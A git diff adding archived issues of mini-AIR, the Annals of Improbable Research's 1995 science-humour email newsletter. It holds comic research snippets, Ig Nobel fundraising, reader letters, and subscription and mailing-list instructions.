are: +A) Please indicate that the material appeared in mini-AIR and is + reprinted with permission. +B) You do NOT have permission to copy or excerpt this document + for commercial purposes. + +------------------------------------------------------------ +(c) copyright 1994, The Annals of Improbable Research +------------------------------------------------------------ + +------------- +mini-AIRheads +------------- +Editor: Marc Abrahams (marca@mit.edu) +WWW Editor/Global Village Idiot: Amy Gorin (ringo@mit.edu) +Associate Editors: Mark Dionne, Stanley Eigen, Jane Patrick +Technical Difficulties: Diego Garcia, Francesca Thurston +Authority Figure: Barbara Linden + + ============================================================ + IMPORTANT -- The Annals of Improbable Research is IN NO WAY + associated with the name "The Journal of Irreproducible + Results" or with the publisher of "The Journal of + Irreproducible Results" + ============================================================ diff --git a/textfiles.com/magazines/MINIAIR/mair95-3.txt b/textfiles.com/magazines/MINIAIR/mair95-3.txt new file mode 100644 index 00000000..eb12fdfb --- /dev/null +++ b/textfiles.com/magazines/MINIAIR/mair95-3.txt @@ -0,0 +1,559 @@ +================================================================ +The mini-Annals of Improbable Research ("mini-AIR") +Issue Number 1995-03 +March, 1995 +ISSN 1076-500X +Key words: improbable research, science humor, Ig Nobel, AIR +---------------------------------------------------------------- +A free monthly mini-supplement to + The Annals of Improbable Research (AIR) + the journal of inflated research and personalities + published by The MIT Museum +================================================================ + +----------------------------- +1995-03-01 TABLE OF CONTENTS + +1995-03-01 Table of Contents +1995-03-02 Skimpy Snippets from AIR 1:2 +1995-03-03 In Defense of Cindy Crawford +1995-03-04 Ig Nobel Plea and Contest +1995-03-05 Puzzling Predators +1995-03-06 Top Quark Tour +1995-03-07 Carning Error +1995-03-08 Improbable Education +1995-03-09 Animal Recovery Movement +1995-03-10 AIR Vents -- Exhalations from our readers +1995-03-11 Government Improbability Catalog +1995-03-12 AIRhead Project 2000: preliminary results +1995-03-13 May We Recommend... +1995-03-14 AIRhead Events +1995-03-15 Calls for Papers +1995-03-16 What is AIR? (*) +1995-03-17 How to Subscribe to AIR(*) +1995-03-18 How to Receive mini-AIR, etc.(*) +1995-03-19 Our Addresses (*) +1995-03-20 Please Forward/Post This Issue! (*) + + Items marked (*) are reprinted in every issue. + + +------------------------------------------------------------ +1995-03-02 Alluring Snippets from AIR 1:2 + + The articles in AIR itself contain too many photos, graphs, + drawings and typographical niceties (and more important, + are too long) to publish in mini-AIR. Here are skimpy + summaries of randomly selected articles from the + March/April 1995 issue (vol. 1, no. 2) of AIR. + +AIRhead Research Review (regular column) +Summaries of recent published reports about: (a) motion sickness +in amphibians; (b) whether men lie on fear surveys; (c) waist-to- +hip ratios in Miss Americas and Playboy playmates; (d) the +behavior of Japanese tree frogs under microgravity; (e) +hypercapnia during wretching in dogs; and (f) the collapse of +toilets in Glasgow. + --see: AIR, vol. 1, no. 2, Mar/Apr 1995, p. 5. + +NOBEL THOUGHTS (regular column): David Hubel +An interview with the 1981 Nobel Laureate in physiology or +medicine explores his views on supermarket etiquette, with special +emphasis on the propriety of eating grapes in the store. + --see: AIR, vol. 1, no. 2, Mar/Apr 1995, p. 8. + +"Fetal Man in the Moon (image)," by Robert Roger Lebel of Genetics +Services, Elmhurst, Illinois. +An ultrasonographic image obtained during an obstetrical +transvaginal study at five weeks of gestation is remarkably +similar to the mythical man in the moon. + --see: AIR, vol. 1, no. 2, Mar/Apr 1995, p. 11. + +"The Dental Micro-Luger," by Walter Martin, SAS Institute, Cary, +North Carolina. +An x-ray image demonstrates a new application of microtechnology. +A micro-luger is employed to break up an impacted wisdom tooth. +This makes the eventual extraction less traumatic for the patient. + --see: AIR, vol. 1, no. 2, Mar/Apr 1995, p. 13. + +"Nematodes and Hieroglyphs," by Mark Benecke, Zoologisches +Institut der Universitaet, Koln, Germany +The author presents photographic evidence that hieroglyphs were +not invented by the Egyptians. Credit must instead be given to +the microscopic roundworm Caenorhabditis elegans. In the +laboratory, C. elegans displays a wide range of behaviors. +Benecke's research shows that this range is much wider than had +been realized. + --from AIR, vol. 1, no. 2, Mar/Apr 1995, pp. 17-18. + + +----------------------------------------------------------------- +1995-03-03 In Defense of Cindy Crawford + +We must rise to defend the honor of a noted researcher, Cindy +Crawford. + +In mini-AIR 1995-02 we announced the premiere of the new AIR +column "Cindy Crawford Discovers," which reports on the scientific +efforts and achievements of supermodel Cindy Crawford (and her +ilk) as documented in research journals such as "Vogue," +"Cosmopolitan," "Elle," etc. + +The following day we received an inquiry from the magazine +"Entertainment Weekly," seeking an advance copy of the first +column. We duly faxed a copy of the colunm, which concerns Cindy +Crawford's recent achievements in chemistry. + +A day later, Entertainment Weekly's editors informed us that they +consider Cindy Crawford's scientific achievements "too +insubstantial" to report. + +We must take exception. In our view, Crawford's lack of a Ph.D. +in no way disqualifies her from conducting research with shampoos. +To see this, one need look no further than her report concerning +"a patented outrageous formula... enriched with pro-vitamin B5, +silk protein and moisture-binding silicone." (The full text of +Crawford's paper appears on page 11 of the January, 1995 issue of +the research journal "Vogue.") + + +------------------------------------------------------------ +1995-03-04 Ig Nobel Plea and Contest + +The Ig Nobel Prize Ceremony is in jeopardy unless we can gather +additional funding for it. The event's major funding source has +chosen to withdraw its support. The ceremony is held in MIT's +Kresge Auditorium with 1200 spectators, with help from more than +150 volunteers. We have to cover expenses for equipment, props, +printing, mailing and telephone costs, for union labor in the +auditorium, etc. + +Therefore, we proudly announce the Ig Nobel Prize Contest. + +We are not too proud to beg. If you would like to help, please +send us $1 together with a 3 x 5 index card bearing your name +address, phone number and e-mail address. Mail it to: +The Ig Nobel Prize Endowment + AIR + The MIT Museum + 265 Massachusetts Ave. + Cambridge, MA 02139 + +For those who want something for the dollar, here is what you can +win: + +FIRST PRIZE +A free year's subscription to The Annals of Improbable Research (a +magnificent 6-issues/year print publication). + +SECOND PRIZE +The lucky (?) second prize winner will win a 1995 Ig Nobel Prize +Ceremony Poster autographed by several Nobel Laureates and by the +Swedish Meatball King. That individual will, if he or she +chooses, attend the ceremony (at his/her own expense) and sit on +stage beside the Swedish Meatball King and Queen during the +Ceremony as an honorary member of the royal family. + +THIRD PRIZE +A free copy of mini-AIR. + +EVERYONE ELSE +If you include an adequately stamped self-addressed envelope we +will send you a worthless xeroxed certificate proclaiming you to +be a FIG (Friend of the Ig). + +Yes, you can write this off on your taxes -- it is a tax +deductable contribution to MIT. Donations larger than $1 are of +course most welcome. + + +------------------------------------------------------------ +1995-03-05 Puzzling Predators + +Thanks to our AIRhead foolproof proofreading regimen, the February +issue of mini-AIR contained a grossly curious list of "African +predators." Several thousand readers kindly wrote in to make +sure we knew that tigers habitually dwell in Asia. Many also +pointed out that (as put succinctly by investigator K. Hearn) +"giraffes and wildebeest are generally not considered predators, +unless one happens to be a leaf or a blade of grass." A reader +identifying himself as "Art in Hollywood" was moved to poetry: +"Ahhh those thrilling nature films showing the fearsome giraffe +stalking it's wily prey - the leaf!" + + +------------------------------------------------ +1995-03-06 Top Quark Tour + +Congratulations and huzzahs to the physicists at Fermi National +Accelerator Laboratory for finding evidence of that most elusive +of subatomic particles, the Top Quark. We at AIR are arranging to +acquire Fermilab's entire collection of top quarks and prepare +them for public viewing. A travelling exhibition will stop in +major cities around the world. The Top Quark tour schedule will +be announced as soon as we solve the minor technical problems of +how to preserve and mount the specimens. + + +------------------------------------- +1995-03-07 Carning Error + +The person identified in the February issue of mini-AIR as "John +Carne" has requested that we identify him by his correct name, +"James Carne." This James Carne resides in Amsterdam and is +presumably male, though we make no definite claim in that regard. +Nor do we make any specific statement as regards this individual's +middle name or indeed on the question of whether this individual +has a middle name, nor do we rule out the possibility that the J. +(i.e., "James") Carne in question has more than one middle name. +Please do not address correspondence on this matter to us, or to +anyone named Carne, or to any resident of Amsterdam, or to anyone +who can read. Thank you. + + +------------------------------------------------------------ +1995-03-08 Improbable Education + + [EDITOR'S NOTE: We received this letter from an AIR + subscriber. It made us feel very proud. Perhaps you + will find subversive inspiration from it:] + +I want to congratulate you on the second issue and the very real +impact it is already having. + +Yesterday (the day after I received it in the mail), my +girlfriend's 14 year old son picked AIR#2 out of my pack (where my +"current reading" is kept). He proceeded to read it intently +cover to cover, especially "A Natural History of the Articulated +Lorry". + +This is a kid who, in 6 years that I've known him, has betrayed +relatively little interest in the various "educational" magazines +(the usual: "Natural History," "Smithsonian," "National +Geographic," etc.) compared to the lure of Nintendo. + +Not that there haven't been other factors behind his nascent +interest in science. But we've had to fight the determined +efforts of the public school system to get him to loathe science +with a passion. The motivations may be different, but the actions +are the same. + +It's a long, uphill, and ongoing battle, that will doubtless +continue until he's out of the clutches of the above-mentioned +negative influences. AIR has given him a big boost. + +Thank you!!! + +Mark Crispin +Bainbridge Island, Washington + + +------------------------------------------------------------------ +1995-03-09 Animal Recovery Movement + +This RFP (request for proposal) appeared in a recent issue of the +"NIH Guide." + +NOTICE OF AVAILABILITY (RFPs/RFAs/PAs) +************************************** +EVALUATION OF COMPOUNDS FOR ABUSE POTENTIAL IN BABOONS + (RFP N01DA-5-7050) + National Institute on Drug Abuse + +We take this opportunity to again express our support for 12-step +animal substance abuse recovery programs. (Thanks to investigator +Barry Saver for bringing this RFP to our attention.) + + +----------------------------------------------- +1995-03-10 AIR Vents -- Exhalations from our readers + +At the end of his quarter-page quasi-treatise on pronunciation, +Lipkin ( "Nucular Physics," AIR, vol. 1, no. 1, Jan/Feb 95, p. 30) +makes an assertion that should be quashed. He states that +Murphy's law was penned by "someone else with the same name." +However, it is well known that someone else with the same name was +responsible for the entire corpus of works of "Homer", and there +have been many allegations that the same author was also +responsible for the writings of Shakespeare. It strains credulity +-- let alone even a cursory analysis of style and symbolism -- to +claim that one author was responsible for all three corpora. + Dennis P. Geller, Brookline, MA + +Thanks to my biographer Manuel de Mosa you can read (in German +language) a report on my life and my problems caused by innovative +mind-control-techniques. It is published electronically on the +file "pub/doc/BRDStasi.roman" of the server "ftp.ira.uka.de". + -Lukas Servatius Derenbold +[EDITOR'S NOTE: You can also access this document via the AIR +home page.] + + +---------------------------------------------------------- + +1995-03-11 Government Improbability Catalog + + [This is adapted from the APS newsletter + WHAT'S NEW, Mar. 3, 1995, by Robert L. Park] + +The 420-page report, "Alternative Medicine: Expanding Medical +Horizons," lays out a NIH Office of Alternative Medicine agenda +for research into a variety of topics. Homeopathic medicines +employ dilutions far beyond the point at which a single molecule +would remain, but the water "remembers." Where does physics fit +in? Well, when really weird things happen, like mental healing at +a distance, it must be quantum mechanics (physicist Brian +Josephson is cited for authority). Medical ethics are not +ignored; the possibility of distant organisms being harmed by non- +local mental influence is raised, and board certification of +mental healers is proposed "to protect consumers from predatory +quacks." An entire chapter is devoted to "Bioelectromagnetics." +This is tricky stuff: "Weak EMF may, at the proper frequency and +site of application, produce large effects that are either +clinically beneficial or harmful." + + +------------------------------------------------------------ +1995-03-12 AIRhead Project 2000: preliminary results + +As announced in mini-AIR 1994-02-03 (June, 1993), we are compiling +a list of studies, projects, and products that involve the number +two thousand. Randomly selected items from the list include: + +ITEM 66605 (Submitted by investigator Dennis Gately) +"Science 2000," An educational program to bring high school +science instruction into the next century, a joint project of +Tufts University and Governor Dummer(no this is not a typo) +Academy. + +ITEM 66606 (Submitted by investigator Chris Garrigues) +"The NII 2000 Steering Committee," a group of high-level +executives and distinguished academicians that seeks white papers +on topics relevant to NII technology deployment, whatever that is. + + +----------------------------------------------------------- +1995-03-13 May We Recommend... + +Research reports that merit a trip to the library. + +Investigator Barry Bogin reports: "I was searching Medline the +other day for articles by one CE Graham, perhaps the formost +expert in chimpanzee estrus cycle endocrinology and I found that +there is another CE Graham -- possible a medical researcher from +Australia. The following are three articles that 'merit a trip to +the library.' Any one of these may seem innocuous, but taken _en +mass_ I think there is a sinister pattern." + +1) Graham CE (1992) Thumb paronychia treated with leeches. Med. +J. Aust. 156(7):512. + +2) ________ (1982) Painless jogging for 15,000 km after a +lumbrosacral stabilization with screws and cement. Med. J. Aust. +1(9):389. + +3) ________ (1993) Sudden death while lawnmowing. Med J. Aust. +158(3):216. + +(We welcome your suggestions for this column. Please include full +citations. If possible, please send us a photocopy of the paper.) + + +----------------------------------------------------------- +1995-03-14 AIRhead Events + +SIGMA XI, Warren Michigan Fri, May 12 +Speech and improbable slides at the society's annual dinner. +Info: Kurt Godden 810-986-1479 godden@gmr.com + +1995 IG NOBEL PRIZE CEREMONY Thurs, Oct 5 + +INTERSOCIETY POLYMER CONFERENCE Tues, Oct 10 +Keynote address / improbable research seminar / slide show. +Stouffer Harborplace Hotel, Baltimore, MD +Info: (518) 387-7942 + +*** If you would like to host an improbable research seminar / +slide show please get in touch with us. + + +--------------------------------------------------------------- +1995-03-15 Calls for Papers + +CALL FOR Barium Enemas of the Rich and Famous. Please send x-rays +only. + +CALL FOR DATA for the Agonized Student Excuse Project. +College instructors lament that incoming students are not as +prepared as their predecessors. We are collecting a wide sampling +of outstandingly improbable excuses offered by students. The +theme of the excuse must be: "why I cannot or should not be +responsible for learning or thinking." Only genuine data +collected from students is acceptable. We are collecting the best +and worst excuses given by students. Please specify the subject +being taught. Please email entries to BOURBAKI@NEU.EDU + +CALL FOR NOMINATIONS for the 1995 Ig Nobel Prizes. +Prizes are awarded for achievements that cannot or should not be +reproduced. Nominations may be submitted, anonymously or +otherwise, by e-mail or by standard mail. Please include +documentation. + + +--------------------------------------------------------------- +1995-03-16 WHAT IS AIR? (*) + +The Annals of Improbable Research (AIR) is a splendid educational +magazine produced by the entire former editorial staff (1955-1994) +of "The Journal of Irreproducible Results." AIR's co-founders are +Marc Abrahams, who edited the Journal from 1990-1994, and +Alexander Kohn, who founded the Journal in 1955 and was its editor +until 1989. AIR is published by the MIT Museum in Cambridge, MA. +The editorial board consists of more than 40 distinguished +scientists from around the world including seven Nobel Laureates +and a convicted felon. Each October, AIR produces the Ig Nobel +Prize Ceremony at MIT, honoring people whose achievements cannot +or should not be reproduced. + + +--------------------------- +1995-03-17 How to Subscribe to AIR(*) + +Amaze your colleagues. Delight your friends. Impress yourself. +Subscribe to The Annals of Improbable Research (AIR)! + +Put more AIR in the lab, the classroom, the office, the waiting +room, the library, the living room, the restroom, ...the detention +center. And it makes a lovely gift of the most unexpected kind. + + =========================================================== + =========================================================== +Please send a subscription to The Annals of Improbable Research +for a period of (check one): + ___ 1 year (six issues) ___ 2 years (twelve issues) + +Name: +Addr: +Addr: +City: State: ZIP: +Country: +Phone: FAX: +Email address: + +Payment method: + ___ Mastercard ___ Visa ___ American Express + Card #: Exp. date: + (If you prefer not to send your credit card number + via email, please fax, phone or mail in your order. + We do accept PGP-encoded order forms.) + + ___Check (drawn on US bank) or int'l money order is + enclosed. + +___ This is a gift from: + + Name: + Addr: + Addr: + City: State: ZIP: + Country: + Phone (voice): FAX: + Email address: + ___Send renewal notice to me. + ___Send renewal notice to my beneficiary. + +Rates (in US dollars) +USA 1 year - $19.95 2 years - $34.95 +Canada/Mexico 1 year - $27 2 years - $45 +Overseas 1 year - $40 2 years - $70 + +Total payment enclosed: + +Send payment to the Annals of Improbable Research (AIR), via + +Email: mitshop@mit.edu + +FAX: (617) 253-8994 + +Mail: The MIT Museum + 265 Massachusetts Ave., Cambridge, MA 02139 USA + +Phone: (617) 253-4462 + + +--------------------------- +1995-03-18 How to Receive mini-AIR, etc.(*) + +mini-AIR is an monthly electronic supplement to The Annals of +Improbable Research (AIR). It is available over the Internet, +free of charge. To subscribe, send a brief E-mail message to: + LISTSERV@MITVMA.MIT.EDU +The body of your message should contain ONLY the words + SUBSCRIBE MINI-AIR MARIE CURIE +(You may substitute your own name for that of Madame Curie.) +------------------------------------------------------------ +To stop subscribing, send the following message: + SIGNOFF MINI-AIR +To obtain a list of back issues, send this message: + INDEX MINI-AIR +To retrieve a particular back issue, +send a message specifying which issue you want. +For example, to retrieve issue 94-00006,send this message: + GET MINI-AIR 94-00006 + +To obtain a somewhat complete list of gopher sites that maintain +mini-AIR, email us a request. + + +::::: Hot AIR on the World Wide Web +http://web.mit.edu/improb/ + +::::: AIR extracts on USENET + +The USENET newsgroup clari.feature.imprb_research presents a +syndicated weekly column of reports extracted from The Annals of +Improbable Research. [NOTE: This is available only if your +Internet site subscribes to the Clarinet newsgroups.] + + +--------------------------- +1995-03-19 Our Addresses + +The Annals of Improbable Research (AIR) +The MIT Museum +265 Massachusetts Ave., Cambridge, MA 02139 USA + +Subscriptions: 617-253-4462 fax:(617)253-8994 mitshop@mit.edu +Editorial: 617-253-8329 air@mit.edu http://web.mit.edu/improb/ + +PLEASE include your Internet address in printed correspondence. + + +--------------------------- +1995-03-20 Please Forward/Post This Issue! (*) + +Please distribute copies of mini-AIR (or excerpts) wherever +appropriate. The only limitations are: +A) Please indicate that the material appeared in mini-AIR. +B) You do NOT have distribute it for commercial purposes. + +------------------------------------------------------------ +(c) copyright 1995, The Annals of Improbable Research +------------------------------------------------------------ + +------------- +mini-AIRheads +------------- +Editor: Marc Abrahams (marca@mit.edu) +WWW Editor/Global Village Idiot: Amy Gorin (ringo@mit.edu) +Associate Editors: Mark Dionne, Stanley Eigen, Jane Patrick +Technical Difficulties: Diego Garcia, Francesca Thurston +Co-conspirators: Mike Zarren,Gary Dryfoos,Chip LaChien +Authority Figure: Barbara Linden + + ============================================================ + IMPORTANT -- The Annals of Improbable Research is IN NO WAY + associated with the name "The Journal of Irreproducible + Results" or with the publisher of "The Journal of + Irreproducible Results" + ============================================================ diff --git a/textfiles.com/magazines/MINIAIR/mair9501.txt b/textfiles.com/magazines/MINIAIR/mair9501.txt new file mode 100644 index 00000000..12c77a89 --- /dev/null +++ b/textfiles.com/magazines/MINIAIR/mair9501.txt @@ -0,0 +1,510 @@ +============================================================ +The mini-Annals of Improbable Research ("mini-AIR") +Issue Number 1995-01 +January, 1995 +ISSN 1076-500X +Key words: is called research,Ig Nobel,AIRhead +------------------------------------------------------------ +The mini-journal of inflated research and personalities +published by The Annals of Improbable Research (AIR) +at The MIT Museum +============================================================ + +----------------------------- +1995-01-01 TABLE OF CONTENTS + +1995-01-01 Table of Contents +1995-01-02 AIRhead News Flashes and Flushes +1995-01-03 Valentine's Day AIRhead Chocolate Gender Survey +1995-01-04 Correction: Mass Murderer Accreditation +1995-01-05 More Skinny on Internet Barbie +1995-01-06 AIRhead Project 2000: preliminary results +1995-01-07 Ig Nobel Interlopers!!! +1995-01-08 May We Recommend... +1995-01-09 AIRhead Events +1995-01-10 Calls for Papers +1995-01-11 Teachers' Guide +1995-01-12 What is AIR? (*) +1995-01-13 How to Subscribe to AIR(*) +1995-01-14 How to Receive mini-AIR, etc.(*) +1995-01-15 AIR's Mailing and Internet Addresses (*) +1995-01-16 Please DO make copies! (*) + + Items marked (*) are reprinted in every issue. + + +------------------------------------------------------------ +1995-01-02 AIRhead News Flashes and Flushes + +A. There was an error in last issue's notice concerning higher- +level communications. The correct Internet address for God ends +in .ORG, not .GOV + +B. On this, day 91 of the Official AIRhead Slogans Competition, +the leading contender for AIR's official German-language slogan is +"Luft, luft, nichts als is luft." Entries for any of the +languages should be e-mailed to BOURBAKI@NEU.EDU As stated +previously: [1] we reserve the right to ignore all entries in +languages for which we do not readily have translators; and [2] +we reserve the right to ignore all entries in languages for which +we do have translators. + +C. Home, home (page) on the AIR +On Tuesday, January 17, the AIR home page on the World Wide Web +will be ready for your improbable reading pleasure. This +delightful academically deviant work is called "Hot AIR." An +ever-changing kaleidoscopic cornucopia of delights, it [probably] +contains such useful data as: an X-ray image from our research +project on "The Taxonomy of Barney;" images from various Ig Nobel +Prize ceremonies; exhibits from The Museum of Burnt Food; the +complete ancient archives of mini-AIR ("Stale mini-AIR"); photos +from the AIRhead Time Caplet ceremony, and more. +The URL is: +http://web.mit.edu/afs/athena/org/i/improb/www/home.html + +D. The definition in mini-AIR 1994-10 that "an acre is the amount +of land that an ox can plow under one man in one day" was +misleading, if not inaccurate. + +E. The official first premiere commemorative etcetera print issue +of AIR is now off the presses. It is therefore hot. Our AIRhead +printer printed a not overly large quantity of extra copies of +this historic first etcetera print issue. Therefore, shrewd +individuals who subscribe to AIR before this little treasure trove +runs out will receive the premiere etcetera issue as the first of +their subscription. Hurry hurry hurry, for your children's sake +and so forth. + +F. On advice of counsel, we will not, after all, be publishing Lee +L. Franklin's treatise on "Obesity Among Feminist Economists: +Every Tub on its Own Bottom." + +G. Because AIR is still so new, fresh, and partially gaseous, we +are unknown to the world at large. Please help us change that. +If you know of specific publications (newspapers, magazines, etc.) +that might like to write about AIR, please tell us the pertinent +info (name of the publication, mail and e-mail addresses, phone +number). Names of specific reporters/editors are especially +helpful. + + +------------------------------------------------------------ +1995-01-03 Valentine's Day AIRhead Chocolate Gender Survey + +In honor of Valentine's Day, we are conducting a survey of gender +preferences for dark chocolate and light chocolate. + +Votes can be cast by visiting the Hot AIR home page on the World +Wide Web (See section 1995-01-02). + +Alternatively, please clip the following ballot, fill it out, and +e-mail your data to: BOURBAKI@NEU.EDU + +============================= +AIRhead Chocolate Survey Form + +____MY GENDER IS: FEMALE +____MY GENDER IS: MALE + +____I PREFER DARK CHOCOLATE +____I PREFER MILK CHOCOLATE + +============================== + +NOTES + +1. Due to reasons, we cannot acknowledge receipt of individual +data submissions. + +2. If you don't like chocolate, tough. + + +------------------------------------------------------------ +1995-01-04 Correction: Mass Murderer Accreditation + +The survey presented in mini-AIR 1994-12 contains data and/or +conclusions that may be invalid. The research grant money was +withdrawn during the final stages of analysis, skewing both the +results and the researchers. Particularly suspect is the chapter +reproduced here: + + VOTING PREFERENCES OF MASS MURDERERS + WHO PARTICIPATED IN THE 1994 US NATIONAL ELECTIONS + + 82% voted Republican + 7% voted Democratic + 11% voted for themselves + + +------------------------------------------------------------ +1995-01-05 More Skinny on Internet Barbie + +Many readers requested that we publish the full text of Donald +Turnblade's essay for the AIRhead Time Caplet Interment Contest. +Our contest was to determine "What/who should be placed into the +Time Caplet?" The contest winners received nothing, as this +contest was devised by AIRheads. However, their names and winning +essays are included in the AIR home page. The home page also +contains a separate list of items that were actually buried in the +Time Caplet. + +Donald Turnblade's essay: + "I propose that a symbol embodying + the properties of the Internet be enclosed + in the proposed time capsule. It should represent + the interconnected-ness of the Internet, the human + nature of the inhabitance of the Internet, the + character of Internet communications, and the intellect + of the Internet. Therefore, a half naked Barbie doll + with fiber optic cables instead of doll hair would + represent things fairly well." + + +------------------------------------------------------------ +1995-01-06 AIRhead Project 2000: preliminary results + +As announced in mini-AIR 1994-02-03 (June, 1993), we are compiling +a list of studies, projects, and products that involve the number +two thousand. Randomly selected items from the list include: + +ITEM #2022 (Submitted by investigator Richard Clark) + "The Vision 2000 Program," study conducted in 1972 by + the Tulsa Metropolitan Area Planning Commission. + +COLLECTION #ALM-9 (Collection of items manufactured in + Brazil, submitted by investigator Marcos G. Almeida) + "M2000," sports shoes. + "Ginsu 2000," set of knives that cut anything. + +ITEM #2025 + "Healthy communities 2000," book published by the American + Public Health Association. + +ITEM #2026 (Submitted by investigators Jacques Therrien and + Greg Erwin) + "PS-2000," Canadian Government reform plan for + the Public Service. + +ITEM #2027 (Submitted by investigator Paul Steckler) + "ML 2000," computer programming language. + +ITEM #2028 (Submitted by investigator Greg Goss) + "Century 21," American and Canadian realty company. + +ITEM #2034 + "SimCity 2000," software simulation developed by Maxis, + for city planning. + +ITEM #2035 (Submitted by investigator Eitan Rubin) + "Education 2000," program by the Israeli + Ministry of Education. + +ITEM #2039 (submitted by investigator Traugott Goll) + "Design 2000," furniture store in Hong Kong. + +ITEM #62401 (Submitted by investigator Dudley A. Horque) + "2000AD," British comic book. + + +----------------------------------------------------------- +1995-01-07 Ig Nobel Interlopers!!! + +Several of the Nobel Laureates warned us that this would happen. + +We were shocked, shocked to discover that a lobbying group in +Washington, DC has issued a press release announcing that it has +chosen the winners of the Ig Nobel Prizes. + +The group is called "Physicians Committee for Responsible Medicine +(PCRM)." Neither AIR nor the Ig Nobel Board of Governors had any +previous knowledge of the group. In short, we AIRheads have no +connection with any would-be AIRheads in Washington. + +While we sympathize to some extent with PCRM's underlying +sentiments (for example: we no longer advocate that monkeys be +forced to become crack cocaine addicts), we cannot permit this +group to appropriate the good name of the Ig Nobel Prizes. We +must We must protect the purity and essence of the genuine Ig +Nobel Prizewinners. + +It seems unthinkable that a group called the "Physicians Committee +for Responsible Medicine" would knowingly commit an irresponsible +act. Yet, it has oft been observed that we live is an imperfect +universe. + +The misappropriation of the name "Ig Nobel Prize" has already +begun to cause confusion and consternation -- we first learned +about it via a perplexed phone call from a magazine editor. +Anything you can do to help get the word out would be appreciated +by AIRheads everywhere. + +ADDENDUM: Perhaps you have an opinion as to whether this +unauthorized use of the phrase "Ig Nobel Prize" was a responsible +act on the part of the "Physicians Committee for Responsible +Medicine." If you wish to make them aware of your opinion, you +can telephone them at 202-686-2210 or fax them at 202-686-2216 or +mail polite letters to them at 5100 Wisconsin Avenue NW, +Washington, DC 20016. + + +----------------------------------------------------------- +1995-01-08 May We Recommend... + +Research reports that merit a trip to the library: + +"Some observations on nitrous oxide cylinders during emptying, +P.L. Jones, "British Journal of Anaesthesiology," vol. 46, 1974, +pp. 534-538. (Thanks to Marcel E. Durieux for bringing this to +our attention.) + +"Learning of Leg Position by Cockroaches in Response to Light," C. +L. Harris, "Physiology and Behavior," vol. 53, 1993, pp. 313-6. + +"Lonely hearts advertisements reflect sexually dimorphic mating +strategies," Del Thiessen, Robert K. Young, and Ramona Burroughs, +"Ethology and Sociobiology," vol. 14, no. 3, May 1993, pp. 209- +229. (Thanks to Andy Stewart for bringing this to our attention.) + +"Dissociation between the calcium-induced and voltage-driven +motility in cochlear outer hair cells from the waltzing guinea +pig," B. Canlon, B. and D. Dulon, "Journal of Cell Science," vol. +104, 1993, pp. 1137-1143. (Thanks to Fred Wouters for bringing +this to our attention.) + +(We welcome your suggestions for this column. Please include full +citations. If possible, please send us a photocopy of the paper.) + + +----------------------------------------------------------- +1995-01-09 AIRhead Events + +WILLIAMS COLLEGE, Williamstown, MA Mon, Jan 16, 5:00 +The Log, Spring Street +Info: 413-597-7482 (Barbara.J.Madden@Williams.edu) + +SCIENCE WRITERS OF NY (SWINY) Thurs, Feb 2, 6:30 +New York Academy of Science, 2 E. 63rd St., NYC + +SCIENCE DISCOVERY MUSEUM, Acton MA Tues Feb 7, 3:30-4:30 +A hyperinteractive presentation for kids and other scientists. +Info:617-264-4200 + +NEW ENGLAND SCIENCE FICTION ASSOCIATION Feb 17, 18 or maybe 19 +Sheraton Tara, Framingham, MA + +MENSA OF CENTRAL NJ Sat, Mar 4, 7:30 +Sheraton, Woodbridge, NJ +Info: 908-297-5492 matray@watson.bms.com + +1995 IG NOBEL PRIZE CEREMONY Thurs, Oct 5 + +INTERSOCIETY POLYMER CONFERENCE Tues, Oct 10 +Stouffer Harborplace Hotel, Baltimore, MD +The society recommends early reservations. Info: (518) 387-7942 + +*** If you would like to host an Improbable Research Event +*** at your conference, university, research center, company, +*** hospital, high school, or scenic mountain vacation home, +*** please get in touch with us. + + +--------------------------------------------------------------- +1995-01-10 Calls for Papers + +CALL FOR PAPERS on the topic: "Chocolate Research." Reports of +your research RESULTS are preferred to speculative essays. + +CALL FOR NOMINATIONS for the 1995 Ig Nobel Prizes. Ig Nobel Prizes +are awarded for achievements that cannot or should not be +reproduced. Nominations may be submitted, anonymously or +otherwise, by e-mail or by standard mail. + + +-------------------- +1995-01-11 Teachers' Guide + +[We might repeat this section in future issues. Then again, we +might not. Please pass it on to any teacher friend who would find +it useful.] + +Three out of five teachers agree: curiosity is a dangerous thing, +especially in students. If you are one of the other two teachers, +AIR and mini-AIR can be powerful tools. Choose your favorite +hAIR-raising article and give copies to your students. The +approach is simple. The scientist thinks that he (or she, or +whatever), of all people, has discovered something about how the +universe behaves. So: + +* Is this scientist right -- and what does "right" mean, anyway? +* Can you think of even one different explanation that works + as well or better? +* Did the test really, really, truly, unquestionably, completely + test what the author thought he was testing? +* Is the scientist ruthlessly honest with himself about how well + his idea explains everything, or could he be suffering from + wishful thinking? + +Kids are naturally good scientists. Help them stay that way. + + +--------------------------------------------------------------- +1995-01-12 WHAT IS AIR? (*) + +AIR is a new magazine produced by the entire former editorial +staff (1955-1994) of "The Journal of Irreproducible Results." The +new magazine's co-founders are Marc Abrahams, who edited The +Journal from 1990-1994, and Alexander Kohn, who founded The +Journal in 1955 and was its editor until 1989. AIR is published +by the MIT Museum in Cambridge, MA. The editorial board consists +of more than 40 distinguished scientists from around the world +including seven Nobel Laureates. Each October, AIR and the MIT +Museum produce the Ig Nobel Prize Ceremony, honoring people whose +achievements cannot or should not be reproduced. + + +--------------------------- +1995-01-13 How to Subscribe to AIR(*) + +Amaze your colleagues. Delight your friends. Impress yourself. +Subscribe to The Annals of Improbable Research (AIR)! + +Put more AIR in the lab, the classroom, the office, the waiting +room, the library, the living room, the restroom, ...the detention +center. And it makes a lovely gift of the most unexpected kind. + + =========================================================== + =========================================================== +Please send a subscription to The Annals of Improbable Research +for a period of (check one): + ___ 1 year (six issues) ___ 2 years (twelve issues) + +Name: +Addr: +Addr: +City: State: ZIP: +Country: +Phone (voice): FAX: +Email address: + +Payment method: + ___ Mastercard ___ Visa ___ American Express + Card #: Exp. date: + (If you prefer not to send your credit card number + via email, please fax, phone or mail in your order.) + + ___Check (drawn on US bank) or int'l money order is + enclosed. + +___ This is a gift from: + + Name: + Addr: + Addr: + City: State: ZIP: + Country: + Phone (voice): FAX: + Email address: + ___Send renewal notice to me. + ___Send renewal notice to my beneficiary. + +Rates (in US dollars) +USA 1 year - $19.95 2 years - $34.95 +Canada/Mexico 1 year - $27 2 years - $45 +Overseas 1 year - $40 2 years - $70 + +Total payment enclosed: + +Send payment to the Annals of Improbable Research (AIR), via + +Email: mitshop@mit.edu + +FAX: (617) 253-8994 + +Mail: The MIT Museum + 265 Massachusetts Ave., Cambridge, MA 02139 USA + +Phone: (617) 253-4462 + + +--------------------------- +1995-01-14 How to Receive 